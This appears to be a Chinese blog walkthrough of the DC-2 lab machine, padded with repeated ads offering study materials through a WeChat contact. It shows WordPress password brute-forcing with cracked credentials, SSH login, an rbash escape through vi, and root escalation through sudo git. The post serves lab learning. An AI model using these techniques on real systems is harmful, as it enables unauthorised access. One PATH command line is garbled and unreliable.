先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7
深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
正文
这个命令的目的是扫描位于 http://dc-2 的WordPress网站,并且通过
枚举用户来收集关于该WordPress网站的用户信息。具体来说,
--enumerate u 参数告诉WPScan枚举用户信息。
wpscan --url http://dc-2 --passwords out.txt:
这个命令的目的是对位于 http://dc-2 的WordPress网站进行密码破解
尝试。--passwords out.txt 参数告诉WPScan使用 out.txt 文件中的
密码列表进行尝试。
爆破结果,存在2个账户
Username : jerry
Password : adipiscing
Username : tom
Password : parturient
这里可以用dirb工具扫一下有哪些可以登录的页面
dirb http://dc-2/
找到了 就是这个
http://dc-2/wp-admin/
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/a0522de30b024e338950b47901dbe213.png#pic_center)
使用账号 jerry 登录后可以发现 flag2
鸟语:
If you can’t exploit WordPress and take a shortcut, there is another way.
Hope you found another entry point.
说人话
不要在搞wordpress了,去找找其他线索、切入点
flag 提示,如果 wordpress 打不下来,就得换一个入口
上面使用了 wpscan 进行了扫描和爆破,但是漏洞扫描没有任何结果,因为现在 wpscan 扫描漏洞需要 API Token 的支持,所以需要访问 https://wpvulndb.com/users/sign\_up 注册一个账号,获得 API Token
wpscan --url http://dc-2/ --api-token 这边填你的APIToken
我看了一下,大部分需要认证,并且都是 XSS 之类的,靶机这环境根本没用,有一个 WordPress 3.7-5.0 (except 4.9.9) - Authenticated Code Execution 可以试一试,反正也有账号
根据信息,CVE 编号为 CVE-2019-8942、CVE-2019-8943,MSF 里正好有模块,不过其实是不好利用的,因为这个漏洞是通过文件上传造成的,而 jerry 和 tom 都无法上传,只有 admin 有权限修改上传点
---
## flag3
既然打不下来 wordpress ,就换一个,联想到端口扫描出的 7744 SSH 服务,这里可以作为突破口
使用刚才的爆破出来的两个账号密码去尝试连接一下ssh
爆破结果
Username : tom
Password : parturient
直接登录
ssh tom@192.168.197.146 -p 7744
看来是个受限制的 shell 环境,rbash,使用compgen -c 查看当前用户下可以查看哪些命令
可以看到我们能使用 less 和 vi ,less 查看 flag3
less flag3
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
翻译
可怜的老 Tom 总是追随 Jerry。 也许他应该承受自己造成的所有压力。
这里提示了之前爆破出的2个 web 用户,会不会 linux 也有这2个用户?查看 passwd 文件
less /etc/passwd
可见 jerry 用户存在,那么下面就是 rbash 逃逸–>提权
---
## flag4
使用 vi 进行逃逸
vi
:set shell=/bin/sh
:shell
Desc:
:set shell=/bin/sh:这个命令将 Vi 编辑器的 shell 设
置为 /bin/sh,这意味着在 Vi 编辑器中执行外部 shell 命
令时将使用 /bin/sh。
:shell:这个命令会启动一个新的 shell,让你可以在 Vi
编辑器之外执行命令。在这个新的 shell 中,你可以执行任
何标准的 shell 命令,然后通过输入 exit 或者按下
Ctrl+D 返回到 Vi 编辑器。
更改环境变量,把 `/bin/sh` 目录加进去,不然许多命令不好用
echo P A T H e x p o r t P A T H = PATH export PATH= PATHexportPATH=PATH:/bin:/usr/bin
Desc:
echo $PATH:这个命令用于打印当前 shell 中的环境变量
P
A
T
H
的值。
PATH 的值。
PATH的值。PATH 是一个用冒号分隔的目录列表,其中包含了系统在
搜索可执行文件时要查找的目录。每当你输入一个命令时,系统
会 在 $PATH 中列出的目录中查找这个命令的可执行文件。
export PATH=$PATH:/bin:/usr/bin:这个命令将当前 $PATH
的值与 /bin 和 /usr/bin 目录结合起来,并将结果重新分配给
$PATH。这意味着系统将在 /bin 和 /usr/bin 目录中查找命令
可执行文件,即使它们不在默认的 $PATH 中
ok,现在是正常的 shell 环境了,在提权之前,尝试登录 jerry 用户
su jerry
这里可以看到Jeryy只能使用git 那么答案就很明显了要使用git来最后的提权
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/62f683c5615d4652849863b8770b17d2.png#pic_center)
Good to see that you’ve made it this far - but you’re not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you’re on your own now. 😃
Go on - git outta here!!!
机翻
很高兴看到你已经做到了这一点-但你还没有回家。
你仍然需要获得最终标志(唯一真正重要的标志!!!)。
这里没有提示-你现在就一个人了。 😃
继续-git outta here !!!
这里提到了 git,那么就用它提权
flag5
sudo git -p help config
!/bin/sh
cd
cat final-flag.txt
__ __ _ _ _ _
/ / /\ \ \___| | | __| | ___ _ __ ___ / \
\ \/ \/ / _ \ | | / _` |/ _ \| '_ \ / _ \/ /
\ /\ / __/ | | | (_| | (_) | | | | __/\_/
\/ \/ \___|_|_| \__,_|\___/|_| |_|\___\/
Congratulatons!!!
A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.
还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!
王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。
对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!
【完整版领取方式在文末!!】
***93道网络安全面试题***
![](https://img-blog.csdnimg.cn/img_convert/6679c89ccd849f9504c48bb02882ef8d.png)
![](https://img-blog.csdnimg.cn/img_convert/07ce1a919614bde78921fb2f8ddf0c2f.png)
![](https://img-blog.csdnimg.cn/img_convert/44238619c3ba2d672b5b8dc4a529b01d.png)
内容实在太多,不一一截图了
### 黑客学习资源推荐
最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
😝朋友们如果有需要的话,可以联系领取~
#### 1️⃣零基础入门
##### ① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的**学习成长路线图**。可以说是**最科学最系统的学习路线**,大家跟着这个大的方向学习准没问题。
![image](https://img-blog.csdnimg.cn/img_convert/acb3c4714e29498573a58a3c79c775da.gif#pic_center)
##### ② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供:
![image-20231025112050764](https://img-blog.csdnimg.cn/874ad4fd3dbe4f6bb3bff17885655014.png#pic_center)
#### 2️⃣视频配套工具&国内外网安书籍、文档
##### ① 工具
![](https://img-blog.csdnimg.cn/img_convert/d3f08d9a26927e48b1332a38401b3369.png#pic_center)
##### ② 视频
![image1](https://img-blog.csdnimg.cn/img_convert/f18acc028dc224b7ace77f2e260ba222.png#pic_center)
##### ③ 书籍
![image2](https://img-blog.csdnimg.cn/img_convert/769b7e13b39771b3a6e4397753dab12e.png#pic_center)
资源较为敏感,未展示全面,需要的最下面获取
![在这里插入图片描述](https://img-blog.csdnimg.cn/e4f9ac066e8c485f8407a99619f9c5b5.png#pic_center)![在这里插入图片描述](https://img-blog.csdnimg.cn/111f5462e7df433b981dc2430bb9ad39.png#pic_center)
##### ② 简历模板
![在这里插入图片描述](https://img-blog.csdnimg.cn/504b8be96bfa4dfb8befc2af49aabfa2.png#pic_center)
**因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆**
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)**
![img](https://img-blog.csdnimg.cn/img_convert/8fb4aaab5f8e0f8c6108e379b9064db8.png)
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
##### ② 简历模板
![在这里插入图片描述](https://img-blog.csdnimg.cn/504b8be96bfa4dfb8befc2af49aabfa2.png#pic_center)
**因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆**
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)**
[外链图片转存中...(img-HizQ8cYF-1713315646303)]
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**